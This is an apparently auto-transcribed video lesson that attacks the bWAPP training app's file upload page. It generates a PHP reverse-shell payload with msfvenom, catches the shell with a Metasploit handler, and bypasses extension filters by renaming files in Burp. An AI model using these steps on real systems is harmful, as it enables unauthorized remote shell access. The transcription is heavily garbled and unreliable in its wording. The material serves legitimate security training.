‫Now, another problem that you will probably see while you're testing unrestricted file upload forms.
‫And sometimes you can bypass restrictions if they're not properly coated.
‫So in this lesson, we are going to be dealing with an unrestricted file upload challenge.
‫You'll see why in a minute, so go to Kelly and log in to B Web and open unrestricted file upload page
‫from the menu.
‫Now, to see how it works, browse and then choose a picture on your computer.
‫And then upload the file.
‫And you will see a link below.
‫So click it to visit the image.
‫Yeah, I uploaded said.
‫So, OK, enable foxy proxy, and I'm going to arrange the view for you here.
‫So.
‫We can look at the coat.
‫Now, there's no check for a low level.
‫But for medium file upload check one is called.
‫And for high level Check two is called.
‫OK.
‫Exit now I created a folder for this example before, so I'm going to go to that folder.
‫And I'm going to prepare a shell with MSF Venom tool.
‫So type massive venom does p p slash interpreters slash reverse TCP for the payload?
‫And our host equals one nine two one six eight two zero four two one two eight four.
‫The local host dress and airport equals four four four three four, the local port in Cali and the file
‫name.
‫And now we can provide some other parameters to measure venom.
‫But we don't need this for this example.
‫So.
‫OK, the payload is created.
‫So here it is, my folder and this is the content.
‫All right, so we're done here.
‫So then go back to Firefox.
‫Well, browse for images, but choose shelled out IP and upload it.
‫Yeah, followed request is in burp on the right.
‫And you can see the content of the file.
‫And the content type is application XP, HP.
‫OK, so let it go.
‫And the link appears on the page.
‫But now, before clicking, let's go back to terminal.
‫Now, I forgot to create a handler to capture the reverse connection.
‫So open Metasploit.
‫OK, so use exploit slash multi slash handler.
‫And then set payload to reverse TCP.
‫And you can set local host to IP address of Kelly.
‫And said the local board two, four, four, four three.
‫So one more time we'll show the options.
‫And then type exploit this, Jay, to run a background job.
‫OK, so go to Firefox and click here to see the Shell.
‫And the session is open in terminal.
‫So type sessions to list sessions.
‫And interact with the session one.
‫Type.
‫Get you I.D. for the user of the open shell.
‫And then this info, you see the basic info about the open the shell, exit the shell.
‫And go back to Firefox, so now I will increase the level.
‫So choose Medium.
‫And try to upload the shell again.
‫And there's the year because these extensions are not allowed.
‫OK, so let's enable interception.
‫And then upload the show file again.
‫EverQuest request is here in Burp.
‫OK, so change the extension in the file name and just add three to the end.
‫That's all.
‫And send the request.
‫And a link for viewing the uploaded image is right here on the page.
‫But before we do that, let's, uh, let's grab a listener.
‫So start the handler in Metasploit by typing exploit, J.
‫Now, click the link.
‫Perfect sessions open.
‫So interact with session to.
‫And we'll run get you I.D., The user is WW W data.
‫And this info for the basic information about the shell.
‫And then you can exit.
‫Now, go back to Firefox again.
‫And I'm going to increase the level one more.
‫So select high and now try to upload the shell file again.
‫And there's our friend, the error.
‫But this time it allows only these extensions, OK, so enable interception and upload the file.
‫And this time the problem can be solved by adding a suitable extension to the file name.
‫And let it go.
‫And there's the upload problem solved.
‫Here's the link.
‫So both the terminal and start the handler.
‫OK.
‫It is done.
‫Now, click the link.
‫Hey, nothing happened.
‫There's no session.
‫It doesn't work.
‫Because the application tries to open an image file, but remember to keep file so it gets confused.
‫Throws an error without executing it.
‫So we cannot directly execute this show.
‫But remember, we discovered eye on beware.
‫So we can use MNF-I to include our shell into the application.
‫But that's for you to do.
‫I know, you know how, because we did MNF-I several times.
‫Have fun with that.